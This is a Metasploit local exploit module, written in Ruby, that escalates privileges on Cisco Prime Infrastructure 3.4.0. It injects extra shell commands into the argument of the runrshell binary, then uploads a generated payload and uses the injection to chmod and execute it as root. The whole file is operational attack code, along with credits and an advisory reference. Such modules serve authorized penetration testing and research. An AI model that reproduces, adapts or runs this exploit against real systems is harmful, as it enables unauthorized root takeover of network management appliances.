### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info ={})
super( update_info( info,
'Name'=>'Cisco Prime Infrastructure Runrshell Privilege Escalation',
'Description'=> %q{
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
runrshell binary is meant to execute a shell script as root, but can be abused to inject
extra commands in the argument, allowing you to execute anything as root.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
'sinn3r' # Metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2018-12-08',
'Privileged' => true,
'References' =>
[
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],],
'Targets'=>[['Cisco Prime Infrastructure 3.4.0', {}]],
'DefaultTarget'=>0))
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])]
end
def exec_as_root(cmd)
command_string ="/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
vprint_status(cmd_exec(command_string))
end
def exploit
payload_name ="#{Rex::Text.rand_text_alpha(10)}.bin"
exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
print_status("Uploading #{exe_path}")
write_file(exe_path, generate_payload_exe)
unless file?(exe_path)
print_error("Failed to upload #{exe_path}")return
end
register_file_for_cleanup(exe_path)
print_status('chmod the file with +x')
exec_as_root("/bin/chmod +x #{exe_path}")
print_status("Executing #{exe_path}")
exec_as_root(exe_path)
end
end
